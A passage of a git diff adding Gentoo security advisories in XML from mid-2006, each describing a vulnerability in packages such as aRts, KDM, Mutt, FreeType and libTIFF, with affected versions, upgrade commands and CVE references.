+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2776">CVE-2006-2776</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2778">CVE-2006-2778</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2779">CVE-2006-2779</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2780">CVE-2006-2780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2781">CVE-2006-2781</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2783">CVE-2006-2783</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2786">CVE-2006-2786</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2787">CVE-2006-2787</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Thunderbird">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 07 Jun 2006 17:49:37 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Jun 2006 10:01:22 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-22.xml b/xml/htdocs/security/en/glsa/glsa-200606-22.xml
new file mode 100644
index 00000000..2d69b027
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-22.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-22">
+  <title>aRts: Privilege escalation</title>
+  <synopsis>
+    The artswrapper part of aRts allows local users to execute arbitrary code
+    with elevated privileges.
+  </synopsis>
+  <product type="ebuild">aRts</product>
+  <announced>June 22, 2006</announced>
+  <revised>June 22, 2006: 01</revised>
+  <bug>135970</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/arts" auto="yes" arch="*">
+      <unaffected range="ge">3.5.2-r1</unaffected>
+      <unaffected range="rge">3.4.3-r1</unaffected>
+      <vulnerable range="lt">3.5.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    aRts is a real time modular system for synthesizing audio used by KDE.
+    artswrapper is a helper application used to start the aRts daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    artswrapper fails to properly check whether it can drop privileges
+    accordingly if setuid() fails due to a user exceeding assigned resource
+    limits.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Local attackers could exploit this vulnerability to execute arbitrary
+    code with elevated privileges. Note that the aRts package provided by
+    Gentoo is only vulnerable if the artswrappersuid USE-flag is enabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All aRts users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/arts</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916">CVE-2006-2916</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 15 Jun 2006 13:39:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 Jun 2006 13:17:47 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-23.xml b/xml/htdocs/security/en/glsa/glsa-200606-23.xml
new file mode 100644
index 00000000..a9f2a179
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-23.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-23">
+  <title>KDM: Symlink vulnerability</title>
+  <synopsis>
+    KDM is vulnerable to a symlink vulnerability that can lead to disclosure of
+    information.
+  </synopsis>
+  <product type="ebuild">kdebase, KDM</product>
+  <announced>June 22, 2006</announced>
+  <revised>June 24, 2006: 02</revised>
+  <bug>136201</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/kdebase" auto="yes" arch="*">
+      <unaffected range="ge">3.5.2-r2</unaffected>
+      <unaffected range="rge">3.4.3-r2</unaffected>
+      <vulnerable range="lt">3.5.2-r2</vulnerable>
+    </package>
+    <package name="kde-base/kdm" auto="yes" arch="*">
+      <unaffected range="ge">3.5.2-r1</unaffected>
+      <unaffected range="rge">3.4.3-r2</unaffected>
+      <vulnerable range="lt">3.5.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. KDM is the KDE Display Manager and is part
+    of the kdebase package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ludwig Nussel discovered that KDM could be tricked into allowing users
+    to read files that would otherwise not be readable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this issue to obtain potentially
+    sensitive information that is usually not accessable to the local user
+    such as shadow files or other user's files. The default Gentoo user
+    running KDM is root and, as a result, the local attacker can read any
+    file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdebase users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdebase</code>
+    <p>
+    All KDE split ebuild users should upgrade to the latest KDM version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdm</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20060614-1.txt">KDE Security Advisory: KDM symlink attack vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2449">CVE-2006-2449</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 14 Jun 2006 19:50:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Jun 2006 09:50:44 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-24.xml b/xml/htdocs/security/en/glsa/glsa-200606-24.xml
new file mode 100644
index 00000000..b892e1be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-24.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-24">
+  <title>wv2: Integer overflow</title>
+  <synopsis>
+    An integer overflow could allow an attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">wv2</product>
+  <announced>June 23, 2006</announced>
+  <revised>June 23, 2006: 01</revised>
+  <bug>136759</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/wv2" auto="yes" arch="*">
+      <unaffected range="ge">0.2.3</unaffected>
+      <vulnerable range="lt">0.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    wv2 is a filter library for Microsoft Word files, used in many Office
+    suites.
+    </p>
+  </background>
+  <description>
+    <p>
+    A boundary checking error was found in wv2, which could lead to an
+    integer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could execute arbitrary code with the rights of the user
+    running the program that uses the library via a maliciously crafted
+    Microsoft Word document.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All wv2 users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/wv2-0.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2197">CVE 2006-2197</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 21 Jun 2006 15:46:28 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 21 Jun 2006 17:08:02 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 21 Jun 2006 18:19:37 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-25.xml b/xml/htdocs/security/en/glsa/glsa-200606-25.xml
new file mode 100644
index 00000000..a1873a3b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-25.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-25">
+  <title>Hashcash: Possible heap overflow</title>
+  <synopsis>
+    A heap overflow vulnerability in the Hashcash utility could allow an
+    attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">hashcash</product>
+  <announced>June 26, 2006</announced>
+  <revised>July 29, 2006: 02</revised>
+  <bug>134960</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/hashcash" auto="yes" arch="*">
+      <unaffected range="ge">1.21</unaffected>
+      <vulnerable range="lt">1.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Hashcash is a utility for generating Hashcash tokens, a proof-of-work
+    system to reduce the impact of spam.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andreas Seltenreich has reported a possible heap overflow in the
+    array_push() function in hashcash.c, as a result of an incorrect amount
+    of allocated memory for the "ARRAY" structure.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending malicious entries to the Hashcash utility, an attacker may
+    be able to cause an overflow, potentially resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Hashcash users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/hashcash-1.21&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.hashcash.org/source/CHANGELOG">Hashcash ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3251">CVE-2006-3251</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 18 Jun 2006 12:26:10 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 18 Jun 2006 12:57:56 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Jun 2006 18:48:20 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-26.xml b/xml/htdocs/security/en/glsa/glsa-200606-26.xml
new file mode 100644
index 00000000..e1ccf629
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-26.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-26">
+  <title>EnergyMech: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability was discovered in EnergyMech that is
+    easily exploitable via IRC.
+  </synopsis>
+  <product type="ebuild">emech</product>
+  <announced>June 26, 2006</announced>
+  <revised>July 29, 2006: 02</revised>
+  <bug>132749</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/emech" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2</unaffected>
+      <vulnerable range="lt">3.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    EnergyMech is an IRC bot programmed in C.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in EnergyMech fails to handle empty CTCP NOTICEs correctly, and
+    will cause a crash from a segmentation fault.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending an empty CTCP NOTICE, a remote attacker could exploit this
+    vulnerability to cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All EnergyMech users should update to the latest stable version:
+    </p>
+    <code> 
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/emech-3.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.energymech.net/versions-3.0.html">EnergyMech Changelog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3293">CVE-2006-3293</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 22 Jun 2006 18:15:43 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 22 Jun 2006 23:37:12 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Jun 2006 18:56:34 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-27.xml b/xml/htdocs/security/en/glsa/glsa-200606-27.xml
new file mode 100644
index 00000000..35a8998a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-27.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-27">
+  <title>Mutt: Buffer overflow</title>
+  <synopsis>
+    Mutt contains a buffer overflow that could result in arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">mutt</product>
+  <announced>June 28, 2006</announced>
+  <revised>June 28, 2006: 01</revised>
+  <bug>138125</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mutt" auto="yes" arch="*">
+      <unaffected range="ge">1.5.11-r2</unaffected>
+      <vulnerable range="lt">1.5.11-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mutt is a small but very powerful text-based mail client.
+    </p>
+  </background>
+  <description>
+    <p>
+    TAKAHASHI Tamotsu has discovered that Mutt contains a boundary error in
+    the "browse_get_namespace()" function in browse.c, which can be
+    triggered when receiving an overly long namespace from an IMAP server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious IMAP server can send an overly long namespace to Mutt in
+    order to crash the application, and possibly execute arbitrary code
+    with the permissions of the user running Mutt.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mutt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mutt-1.5.11-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3242">CVE-2006-3242</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 27 Jun 2006 19:49:38 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Jun 2006 20:02:54 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 28 Jun 2006 10:14:15 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-28.xml b/xml/htdocs/security/en/glsa/glsa-200606-28.xml
new file mode 100644
index 00000000..debfe128
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-28.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-28">
+  <title>Horde Web Application Framework: XSS vulnerability</title>
+  <synopsis>
+    The Horde Web Application Framework is vulnerable to a cross-site scripting
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">horde</product>
+  <announced>June 29, 2006</announced>
+  <revised>June 29, 2006: 01</revised>
+  <bug>136830</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1-r1</unaffected>
+      <vulnerable range="lt">3.1.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Horde Web Application Framework is a general-purpose web
+    application framework written in PHP, providing classes for handling
+    preferences, compression, browser detection, connection tracking, MIME,
+    and more.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Marek discovered that the Horde Web Application Framework
+    performs insufficient input sanitizing.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could exploit these vulnerabilities to execute arbitrary
+    scripts running in the context of the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All horde users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-3.1.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2195">CVE-2006-2195</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 22 Jun 2006 14:59:32 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Jun 2006 18:49:08 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-29.xml b/xml/htdocs/security/en/glsa/glsa-200606-29.xml
new file mode 100644
index 00000000..03b50f06
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-29.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-29">
+  <title>Tikiwiki: SQL injection and multiple XSS vulnerabilities</title>
+  <synopsis>
+    An SQL injection vulnerability and multiple XSS vulnerabilities have been
+    discovered.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>June 29, 2006</announced>
+  <revised>June 29, 2006: 01</revised>
+  <bug>136723</bug>
+  <bug>134483</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.4</unaffected>
+      <vulnerable range="lt">1.9.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tikiwiki is a web-based groupware and content management system (CMS),
+    using PHP, ADOdb and Smarty.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tikiwiki fails to properly sanitize user input before processing it,
+    including in SQL statements.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could execute arbitrary SQL statements on the underlying
+    database, or inject arbitrary scripts into the context of a user's
+    browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tikiwiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3048">CVE-2006-3048</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3047">CVE-2006-3047</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 26 Jun 2006 00:18:20 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 26 Jun 2006 20:19:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-30.xml b/xml/htdocs/security/en/glsa/glsa-200606-30.xml
new file mode 100644
index 00000000..6c03921c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-30.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-30">
+  <title>Kiax: Arbitrary code execution</title>
+  <synopsis>
+    A security vulnerability in the iaxclient library could lead to the
+    execution of arbitrary code by a remote attacker.
+  </synopsis>
+  <product type="ebuild">kiax</product>
+  <announced>June 30, 2006</announced>
+  <revised>June 30, 2006: 01</revised>
+  <bug>136099</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/kiax" auto="yes" arch="*">
+      <unaffected range="ge">0.8.5_p1</unaffected>
+      <vulnerable range="lt">0.8.5_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kiax is a graphical softphone supporting the IAX protocol (Inter
+    Asterisk eXchange), which allows PC users to make VoIP calls to
+    Asterisk servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    The iax_net_read function in the iaxclient library fails to properly
+    handle IAX2 packets with truncated full frames or mini-frames. These
+    frames are detected in a length check but processed anyway, leading to
+    buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted IAX2 packet, an attacker could execute
+    arbitrary code with the permissions of the user running Kiax.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kiax users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/kiax-0.8.5_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2923">CVE-2006-2923</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 22 Jun 2006 11:02:44 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 22 Jun 2006 11:16:37 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 22 Jun 2006 15:23:48 +0000">
+    dizzutch
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-01.xml b/xml/htdocs/security/en/glsa/glsa-200607-01.xml
new file mode 100644
index 00000000..65354828
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-01">
+  <title>mpg123: Heap overflow</title>
+  <synopsis>
+    A heap overflow in mpg123 was discovered, which could result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mpg123</product>
+  <announced>July 03, 2006</announced>
+  <revised>July 29, 2006: 02</revised>
+  <bug>133988</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">0.59s-r11</unaffected>
+      <vulnerable range="lt">0.59s-r11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a real time audio player designed for the MPEG format.
+    </p>
+  </background>
+  <description>
+    <p>
+    In httpdget.c, a variable is assigned to the heap, and is supposed to
+    receive a smaller allocation. As this variable was not terminated
+    properly, strncpy() will overwrite the data assigned next in memory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to visit a malicious URL, an attacker could possibly
+    execute arbitrary code with the rights of the user running mpg123.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg123-0.59s-r11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3355">CVE-2006-3355</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 30 Jun 2006 16:01:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 30 Jun 2006 18:10:59 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Jul 2006 14:50:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-02.xml b/xml/htdocs/security/en/glsa/glsa-200607-02.xml
new file mode 100644
index 00000000..28d6a1e9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-02">
+  <title>FreeType: Multiple integer overflows</title>
+  <synopsis>
+    Multiple remotely exploitable buffer overflows have been discovered in
+    FreeType, resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">FreeType</product>
+  <announced>July 09, 2006</announced>
+  <revised>September 03, 2006: 02</revised>
+  <bug>124828</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">2.1.10-r2</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.1.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a portable font engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflows exist in a variety of files (bdf/bdflib.c,
+    sfnt/ttcmap.c, cff/cffgload.c, base/ftmac.c).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these buffer overflows by enticing a
+    user to load a specially crafted font, which could result in the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-2.1.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1861">CVE-2006-1861</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Jul 2006 13:58:56 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Jul 2006 15:44:57 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Jul 2006 16:43:48 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-03.xml b/xml/htdocs/security/en/glsa/glsa-200607-03.xml
new file mode 100644
index 00000000..b307fb45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-03.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-03">
+  <title>libTIFF: Multiple buffer overflows</title>
+  <synopsis>
+    libTIFF contains buffer overflows that could result in arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>July 09, 2006</announced>
+  <revised>July 09, 2006: 01</revised>
+  <bug>135881</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.8.2-r1</unaffected>
+      <vulnerable range="lt">3.8.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been found in the t2p_write_pdf_string function
+    in tiff2pdf, which can been triggered with a TIFF file containing a
+    DocumentName tag with UTF-8 characters. An additional buffer overflow
+    has been found in the handling of the parameters in tiffsplit.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to load a specially crafted TIFF
+    file, resulting in the possible execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
